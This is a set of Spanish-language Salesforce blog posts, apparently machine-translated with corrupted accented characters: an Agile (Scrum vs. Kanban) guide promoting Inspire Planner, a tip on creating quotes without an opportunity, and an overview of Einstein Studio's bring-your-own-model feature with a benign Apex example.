Por lo general, cada sprint dura hasta un mes, pero la duraci贸n m谩s com煤n es de dos semanas. El equipo eval煤a su progreso en reuniones diarias de scrum, que son debates r谩pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisi贸n del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar 谩reas de mejora.

Gesti贸n de proyectos Scrum en Inspire Planner, la aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Creaci贸n de un Sprint en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav茅s del sistema y responder r谩pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est谩 en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav茅s del sistema Kanban.
  • Gestionar Flujo : La gesti贸n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci贸n r谩pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

An谩lisis comparativo de Scrum y Kanban

El siguiente an谩lisis le brinda una breve descripci贸n general de qu茅 marco podr铆a usar en su organizaci贸n.

Mel茅 Kanban
Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duraci贸n. Se enfoca en el flujo continuo y no tiene plazos espec铆ficos.
roles Ayuda a los equipos a administrar proyectos complejos dividi茅ndolos en "sprints" manejables y con l铆mites de tiempo con revisiones peri贸dicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosof铆a del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboraci贸n. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qu茅 marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Mel茅 Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboraci贸n y una respuesta r谩pida.
+ Funciones y responsabilidades bien definidas mejoran la rendici贸n de cuentas.
+ Las revisiones peri贸dicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualizaci贸n del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones 鈥 Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
鈥 No es tan flexible para cambiar a mitad del sprint.
鈥 Requiere un alto nivel de disciplina y comprensi贸n de los principios de Scrum.
鈥 Puede que no sea tan efectivo para tareas complejas e interdependientes.
鈥 Sin disciplina, los l铆mites WIP pueden ignorarse, lo que genera cuellos de botella.
鈥 La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades din谩micas de las empresas. Aqu铆 es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m谩s r谩pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s贸lido y una comunicaci贸n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri贸dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci贸n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci贸n y resoluci贸n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m谩s detalles sobre este tema, consulte nuestro art铆culo sobre c贸mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboraci贸n, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con 茅xito y a tiempo. Este es el por qu茅:

  • Colaboraci贸n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf铆os del proyecto, lo que promueve una resoluci贸n de problemas m谩s efectiva. Adem谩s, la comprensi贸n compartida y la comunicaci贸n frecuente reducen los malentendidos y la repetici贸n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f谩cilmente en el pr贸ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem谩s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a煤n m谩s la productividad.

    Los equipos que implementan efectivamente las metodolog铆as Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci贸n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter铆sticas valiosas puede aumentar la satisfacci贸n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr贸nica de consumo l铆der en Europa, se expandi贸 a China en 2010, desarroll贸 r谩pidamente una innovadora suite de planificaci贸n de recursos empresariales (ERP) en un a帽o. Gracias a la metodolog铆a Scrum y un equipo colaborativo, implementaron m煤ltiples aplicaciones est谩ndar, lo que facilit贸 el lanzamiento de nuevas tiendas en Asia y prepar贸 un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodolog铆a Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. As铆 es c贸mo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi茅ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us谩ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l铆mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci贸n m谩s r谩pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer铆a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m茅todos 谩giles, el cambio hacia el pensamiento Lean y la adopci贸n de Kanban mejoraron dr谩sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en 煤ltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m谩s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l铆mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r谩pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodolog铆a Kanban en proyectos de Salesforce

Estos son los pasos pr谩cticos necesarios para integrar de manera efectiva la metodolog铆a Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t铆picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg煤n las necesidades espec铆ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti贸n de proyectos f铆sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer l铆mites de trabajo en curso (WIP) : defina cu谩ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l铆mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l铆mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores pr谩cticas para integrar metodolog铆as 谩giles en Salesforce DevOps

Las siguientes pr谩cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci贸n

    Aseg煤rese de que los miembros de su equipo comprendan los principios Agile y las pr谩cticas de Scrum o Kanban en funci贸n de la metodolog铆a elegida. Invierta en cursos de capacitaci贸n, talleres y recursos relevantes.

  • Empieza peque帽o

    Comience con un proyecto peque帽o que no tenga mucho en juego. Esto permitir谩 que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi贸n.

  • Seleccione un marco 谩gil adecuado

    Elija Scrum o Kanban seg煤n los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci贸n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas 谩giles de gesti贸n de proyectos

    Utilice herramientas dise帽adas espec铆ficamente para pr谩cticas 谩giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici贸n. Si su organizaci贸n utiliza Salesforce, idealmente deber铆a buscar una herramienta de gesti贸n de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicaci贸n abierta, la retroalimentaci贸n frecuente y la colaboraci贸n activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que tambi茅n pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea r谩pido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri贸dicas de preparaci贸n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est茅 preparado para incorporar cambios en el pr贸ximo sprint (en Scrum) o cuando el l铆mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu茅s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu茅 funcion贸 bien, qu茅 no y c贸mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est谩n espec铆ficamente dise帽adas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente 煤til si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta 谩gil de gesti贸n de proyectos para SalesforceInspire Planner: herramienta 谩gil de gesti贸n de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporaci贸n de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementaci贸n y ejecuci贸n sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi贸n clara de los principios y pr谩cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci贸n adecuada antes de la implementaci贸n.
  • Descuidar la comunicaci贸n : la comunicaci贸n regular y clara es crucial en las metodolog铆as 谩giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m谩s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m谩s efectiva. Aseg煤rese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l铆mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r谩pidamente, los equipos pueden comprometer la calidad. Incorpore pr谩cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri贸dicas para identificar y abordar 谩reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog铆as 谩giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog铆as sean menos efectivas. Supere esto a trav茅s de capacitaci贸n, comunicaci贸n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici贸n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi贸n e ineficiencia. Busque una aplicaci贸n de gesti贸n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci贸n y formaci贸n.
  • Falta de participaci贸n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog铆as 谩giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodolog铆as 谩giles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarroll贸 Jira como una herramienta vers谩til compatible con Scrum, Kanban y metodolog铆as mixtas. Sus s贸lidas funciones incluyen la priorizaci贸n de tareas pendientes, la planificaci贸n de sprints, los gr谩ficos de avance y reducci贸n, los flujos de trabajo personalizados y m谩s. Sin embargo, para integrar Jira con Salesforce, deber谩 configurar una soluci贸n de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog铆as Scrum y Kanban listas para usar. Inspire Planner tiene m谩s de 130 rese帽as de 5 estrellas en AppExchange e incluye todas las funciones est谩ndar, como trabajos pendientes, sprints, puntos de la historia, gr谩ficos de trabajo pendiente y m谩s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integraci贸n perfecta con Salesforce, sino que tambi茅n le permite personalizar completamente la aplicaci贸n para agilizar su proceso de gesti贸n de proyectos.

驴Y si necesita la gesti贸n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi茅n ofrece funciones avanzadas de gesti贸n de proyectos para esta metodolog铆a, incluido un gr谩fico de Gantt interactivo, gesti贸n de recursos, seguimiento del tiempo, carteras, gesti贸n de riesgos, l铆neas base, dependencias de tareas avanzadas, ruta cr铆tica, uso compartido externo, gesti贸n de restricciones, automatizaci贸n. , y mucho m谩s.

Trello

Trello es un sistema f谩cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci贸n o las funciones de generaci贸n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci贸n atractiva para equipos m谩s peque帽os o proyectos simples.

Una mirada m谩s cercana a Inspire Planner

Inspire Planner est谩 dise帽ado para ser una soluci贸n de gesti贸n de proyectos Agile integral pero f谩cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Aqu铆 hay algunas razones por las que Inspire Planner podr铆a ser una buena opci贸n para su equipo:

  • Soporte 谩gil completo : Inspire Planner es compatible con las metodolog铆as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f谩cilmente la acumulaci贸n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.
  • Integraci贸n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci贸n de datos y conecta sus datos de Salesforce con sus flujos de trabajo 谩giles.
  • Colaboraci贸n : Aprovecha Chatter de Salesforce para la comunicaci贸n, fomentando la colaboraci贸n dentro del equipo. Tambi茅n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r谩pidamente nuevos equipos e impulse la adopci贸n a trav茅s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est谩ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m谩s.

Elegir la herramienta adecuada para sus necesidades y el tama帽o de su equipo

Elegir la herramienta adecuada depende del tama帽o de su equipo, la complejidad del proyecto y la metodolog铆a Agile que siga. Aqu铆 hay algunas pautas:

  • Tama帽o del equipo y complejidad del proyecto : para equipos peque帽os o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m谩s robusta como Jira o Inspire Planner podr铆a ser m谩s adecuada para equipos m谩s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m谩s.
  • Integraci贸n de Salesforce : si su organizaci贸n utiliza mucho Salesforce, una aplicaci贸n nativa de Salesforce como Inspire Planner podr铆a ser la mejor opci贸n para una integraci贸n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci贸n de Salesforce para comenzar.
  • Metodolog铆a 谩gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr铆an ser preferibles. Para Kanban, las tres herramientas podr铆an satisfacer sus necesidades. Para una combinaci贸n de metodolog铆as Agile y Waterfall, Inspire Planner ser铆a la mejor opci贸n.
  • Presupuesto : El costo podr铆a ser otro factor decisivo. Trello suele ser m谩s rentable para equipos peque帽os, mientras que Jira e Inspire Planner ofrecen funciones m谩s avanzadas a un costo mayor.

Conclusi贸n

La incorporaci贸n de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboraci贸n en equipo, la satisfacci贸n del cliente, la eficiencia y la gesti贸n de riesgos. El 茅nfasis en el desarrollo iterativo y la garant铆a de calidad garantiza est谩ndares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el coraz贸n de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aqu铆 hay algunas ideas procesables:

  • Comprom茅tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci贸n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la 煤nica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci贸n : promover una cultura de comunicaci贸n abierta y colaboraci贸n. Esto puede conducir a soluciones m谩s innovadoras y a un equipo m谩s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci贸n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodolog铆as 谩giles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacci贸n del cliente.

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Crear Cotizaciones Sin Oportunidad Relacionada

Crear Cotizaciones Sin Oportunidad Relacionada

脷ltima actualizaci贸n el 8 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo puede crear una cotizaci贸n sin asociarla con una oportunidad?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Crear una cotizaci贸n sin oportunidad relacionada
  • y mucho m谩s

Isabella Stewart , administradora de Salesforce en Gurukul On Cloud (GoC), fue contactada por el director de ventas Eric Brown. Le pidi贸 que permitiera a los representantes crear presupuestos sin vincularlos a una oportunidad para acelerar los tratos.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Una cotizaci贸n de venta, a menudo denominada cotizaci贸n de venta o cotizaci贸n de precio, representa la propuesta de un vendedor a un posible comprador, que detalla el costo y las condiciones de una posible venta. Sirviendo como una herramienta fundamental en las interacciones de empresa a empresa (B2B) y de empresa a consumidor (B2C), una cotizaci贸n de ventas var铆a en su aplicaci贸n en estos dos sectores.

Dentro del 谩mbito B2B, una cotizaci贸n de venta a menudo act煤a como el paso inicial, ofreciendo a los compradores potenciales una idea del costo anticipado, evaluando as铆 su inter茅s en un producto o servicio. Si el comprador est谩 interesado, suele pedir una propuesta formal.

Por el contrario, en el sector B2C, la cotizaci贸n de ventas a menudo surge despu茅s del viaje de ventas. El comprador ya ha decidido que quiere comprar el producto o servicio, y simplemente est谩 solicitando una cotizaci贸n por escrito para poder compararla con otras ofertas.

Siga los pasos a continuaci贸n para crear una cotizaci贸n sin vincularla a una oportunidad:

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, ingrese Configuraci贸n de cotizaciones y luego seleccione Configuraci贸n de cotizaciones .
  3. Seleccione Crear cotizaciones sin una oportunidad relacionada.
  4. Haga clic en Guardar .

Prueba de concepto

A partir de ahora, un representante puede crear una cotizaci贸n sin asociarla a una oportunidad 馃榾.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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Traiga sus propios modelos de IA a la nube de datos 鈽侊笍

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Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Lleve sus propios modelos de IA a la nube de datos | Blog de desarrolladores de Salesforce

Einstein Studio es una plataforma f谩cil de usar que le permite crear y poner en funcionamiento la IA en Salesforce. La plataforma aprovecha el poder de otras plataformas de IA, como Amazon SageMaker y Google Cloud Vertex AI, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos en Salesforce. En este blog, presentamos Einstein Studio y exploramos c贸mo la capacidad de traer su propio modelo (BYOM) generalmente disponible puede generar resultados para su negocio.

Presentamos Traiga su propio modelo (BYOM)

Einstein Studio le permite conectarse f谩cilmente a modelos predictivos o generativos y usarlos en el flujo de trabajo en Salesforce. Por ejemplo, los modelos predictivos se pueden usar para puntuar clientes potenciales, recomendar productos o detectar abandonos. Con modelos generativos, puede crear contenido como res煤menes de casos, respuestas de correo electr贸nico y descripciones de productos. Para obtener m谩s informaci贸n sobre la IA generativa y los modelos de lenguaje extenso (LLM), consulte el blog de Salesforce 360 .

Conectar un modelo con Einstein Studio es simple. Puede integrar f谩cilmente su modelo con Data Cloud para acceder a predicciones e informaci贸n en tiempo real y usar la informaci贸n de varias maneras. Por ejemplo, para enriquecer los perfiles de los clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales. Tambi茅n puede usar un modelo generativo para crear campa帽as de correo electr贸nico personalizadas basadas en las preferencias de un cliente y su comportamiento de compra.

驴Por qu茅 traer su propio modelo?

Estos son algunos de los beneficios de usar un modelo de Amazon SageMaker con datos de Data Cloud en Einstein Studio.

  • Acceda a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360 en SageMaker.
  • Elimina la necesidad de trabajos ETL tediosos, costosos y propensos a errores. Este enfoque de federaci贸n de copia cero para los datos reduce la sobrecarga para administrar las copias de datos, los costos de almacenamiento y mejora la eficiencia.
  • Crea modelos r谩pidamente en SageMaker y conecta los modelos en Data Cloud para consumir predicciones para la optimizaci贸n de procesos comerciales.
  • Admite la ingesta de datos en tiempo real, en streaming y por lotes para impulsar los resultados de IA relevantes.
  • Permite el uso sin inconvenientes de modelos y predicciones de SageMaker en Salesforce mediante Flow, un paquete de automatizaci贸n de flujos de trabajo. Flow permite la toma de decisiones impulsada por IA que puede evolucionar en funci贸n de actualizaciones de datos en tiempo real.

Casos de uso

Estos son algunos casos de uso en los que Einstein Studio puede mejorar la experiencia del cliente y agregar un toque personal.

Caso de uso minorista

Un minorista puede crear un modelo de IA personalizado para predecir la probabilidad de que un cliente compre atuendos espec铆ficos en funci贸n de los datos de compromiso, como su historial de compras o actividad en l铆nea. Luego pueden implementar el modelo y utilizar Einstein Studio para ofrecer recomendaciones de productos hiperpersonalizados a los clientes a trav茅s del canal m谩s apropiado, incluido el correo electr贸nico, una aplicaci贸n m贸vil o las redes sociales.

Caso de uso de viaje

Una agencia de viajes puede conectar los datos de CRM, como el historial de reservas del cliente y las preferencias de viaje, con datos que no son de CRM, como rese帽as de destinos y previsiones meteorol贸gicas. Luego pueden implementar modelos de IA predictivos y generativos para predecir qu茅 destinos atraen a clientes espec铆ficos y generar recomendaciones de correo electr贸nico personalizadas para ellos.

Caso de uso automotriz

Una marca automotriz puede usar inteligencia artificial predictiva para determinar cu谩ndo es probable que un autom贸vil necesite mantenimiento y detectar reclamos de seguros fraudulentos. Luego, la IA generativa se puede utilizar para personalizar las campa帽as de marketing de los clientes en funci贸n de las necesidades y preferencias individuales.

Flujo de trabajo de la aplicaci贸n para usar Einstein Studio con AWS SageMaker

En esta secci贸n, analizamos brevemente el flujo de trabajo de la aplicaci贸n con Einstein Studio.

En este flujo de trabajo, el conector de Python otorga a SageMaker acceso seguro a los objetos de Salesforce Data Cloud. Despu茅s de la autenticaci贸n, los especialistas en datos pueden explorar y preparar los datos, y realizar tareas de ingenier铆a de funciones para el desarrollo y la inferencia de modelos de IA mediante la interfaz visual interactiva de SageMaker Data Wrangler .

El flujo de trabajo anterior es espec铆fico de Data Wrangler. Pero, 驴qu茅 sucede si es un cient铆fico de datos y planea usar los cuadernos de SageMaker Studio para desarrollar y preparar sus modelos personalizados? Una vez que se aprueba un modelo en el registro de SageMaker, simplificamos el proceso con una plantilla de proyecto de SageMaker para Salesforce para automatizar la implementaci贸n en un extremo de invocaci贸n.

Este extremo de invocaci贸n se configura como destino en Einstein Studio y se integra con las aplicaciones de Salesforce Customer 360. Para obtener m谩s informaci贸n sobre este flujo de trabajo, consulte el blog de AWS .

C贸mo consumir predicciones de su modelo en Salesforce

Hay dos formas de consumir predicciones. Usando acciones invocables en Flow y Apex, o con an谩lisis ad hoc.

Use Flow Builder y Apex para obtener predicciones

Aqu铆 hay un flujo que usa una acci贸n invocable para crear recomendaciones de productos para un cliente.

En este ejemplo, un administrador usa Flow Builder para separar los registros de individuos unificados para verificar si se realiz贸 una compra reciente. Si se realiz贸 la compra, la acci贸n invocable obtiene la inferencia del modelo de Einstein Studio y recomienda el siguiente mejor producto a un cliente.

Esta acci贸n invocable tambi茅n se puede llamar en Apex. Vea el ejemplo a continuaci贸n.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('variable_1', '10');
action.setInvocationParameter('variable2', '20');
action.setInvocationParameter('variable3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} “>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice an谩lisis ad hoc para obtener predicciones

Query API es otra forma r谩pida de obtener puntajes de predicci贸n para los datos que residen en Data Cloud. Con Query API, puede usar el punto final de inferencia y funciones de predicci贸n de llamadas para probar el punto final.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusi贸n

Einstein Studio es una plataforma de IA f谩cil de usar que permite a los equipos de ciencia e ingenier铆a de datos crear, entrenar e implementar modelos de IA utilizando plataformas externas y datos en Data Cloud. Las plataformas externas incluyen Amazon SageMaker, Google Cloud Vertex AI y otros servicios de IA predictivos o generativos. Una vez que est茅 listo, puede utilizar los modelos de IA en tiempo real para impulsar cualquier aplicaci贸n de ventas, servicios, marketing, comercio y otras en Salesforce.

Recursos adicionales

Sobre el Autor

